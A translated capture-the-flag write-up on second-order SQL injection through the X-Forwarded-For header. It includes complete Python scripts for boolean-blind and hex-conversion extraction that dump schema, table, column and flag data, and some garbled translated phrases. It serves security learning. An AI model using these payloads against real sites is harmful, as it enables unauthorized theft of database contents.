preface
It's really a time of trouble recently. For the first time, classes that usually don't leave homework have left homework recently. Recently, the rhythm of doing questions has been disrupted. Alas, I'm speechless. Later, I want to write an article about flash. I don't know when I will have a chance. Now I'd better focus on sql injection. Don't talk about it, let's look at the questions first.
text
This problem is the problem of secondary injection, but the injection point is very different from the previous injection point. This injection point is in the XFF field of the packet header.
So how to conduct secondary injection? Please consider the following code
select '0'+(length(database())>0)+'0' from user
If we insert the above query statement into the database in advance, we can trigger the query statement and return the query value when we call the field again.
We found a problem. When we rewrite the XFF field, the current IP field in the response will change. At the same time, the last IP is the value of our previous XFF field. So where does the value of the last IP field come from? Obviously, after we input it for the first time, it is stored in the database by the server. We input a different XFF for the second time, As a result, the server needs to echo the last IP, so it will go to the database to find the data just saved. Then, after such analysis, we can conduct secondary injection based on this.
Let's test with 0 '+ (length (database()) > 0) +'0.
(first contracting)
(second contract letting)
(the third contracting), the XFF field does not have to be the same as the last one
We see that after our last contract, we got the results we should get, and we can start writing scripts now.
import requests def start_ascii(): result = "" url = "http://node4.buuoj.cn:28741" for i in range(1,300): low = 32 high = 128 mid = (low + high)//2 header = { "Cookie": "track_uuid=7e9619d8-6818-4a97-8026-8f624aef3e56;IS_STATIC=1", "X-Forwarded-For":"" } while(low < high): # payload = "0' + ascii(substr((select group_concat(schema_name)from information_schema.schemata), % d, 1)) > % d + '0"%(i,mid) # payload = "0' + ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)=('F4l9_D4t4B45e'))),{},1))>{} + '0".format(i, mid) # payload = "0' + ascii(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)=('F4l9_t4b1e'))),{},1))>{} + '0".format(i, mid) payload = "0'+ ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{},1))>{}+'0".format(i, mid) header["X-Forwarded-For"] = payload test = "33333" res = requests.get(url, headers=header) header["X-Forwarded-For"] = test res = requests.get(url, headers=header) res = requests.get(url, headers=header) # print(res.text[-5]) if '1' == res.text[-5]: low = mid + 1 else: high = mid mid = (low + high)//2 if mid == 32 or mid == 127: break result = result + chr(mid) print(result) if __name__ == "__main__": start_ascii()
Explosive warehouse name
Burst table name
Explosive listing
Burst flag
So I got the flag.
My above method is the most classic bool blind note. But for this problem, since it can be echoed, why don't we tell "what's the flag? Source of ideas https://lethe.site/2019/10/21/RoarCTF-Web-Writeup/#online-proxy
0'+conv(hex(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),1,5)),16,10)+'0 through this payload, we can get the integer form of the first five characters. We just need to convert it into hexadecimal and then into characters. Let's test it first:
(first contracting)
(second contract letting)
(third contract awarding)
Let's convert him in python
import binascii print(hex(452823773042)) print(type(452823773042)) all_result = binascii.a2b_hex(hex(452823773042)[2:]).decode('utf8') print(all_result)
With the test results and code snippets for data processing, the next step is to write scripts.
import requests import binascii def start_ascii(): result_final = "" url = "http://node4.buuoj.cn:28741" for i in range(1,300,5): header = { "Cookie": "track_uuid=7e9619d8-6818-4a97-8026-8f624aef3e56;IS_STATIC=1", "X-Forwarded-For":"" } payload = "0'+conv(hex(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},5)),16,10)+'0".format(i) header["X-Forwarded-For"] = payload test = "33333" res = requests.get(url, headers=header) header["X-Forwarded-For"] = test res = requests.get(url, headers=header) res = requests.get(url, headers=header) result = int(res.text.split(" ")[-2]) tra_result = binascii.a2b_hex(hex(result)[2:]).decode('utf8') # location = res.text.find("Last Ip: ") # print(location) result_final += tra_result print(result_final) if __name__ == "__main__": start_ascii()
The running results of the script are as follows
Here I want to say that at the beginning, I tried to get the database to return hexadecimal data to me, but failed. I only returned it once, but it was still the scientific counting method. Therefore, I must convert conv to decimal.
Postscript
This time I learned a new posture from different bosses, and I really benefited a lot. But the design of this topic always reminds me of SSRF, which is a url and can request a connection from the outside. It's strange. There are still some things about XFF field injection, and I still have to learn the location of the injection point in the future.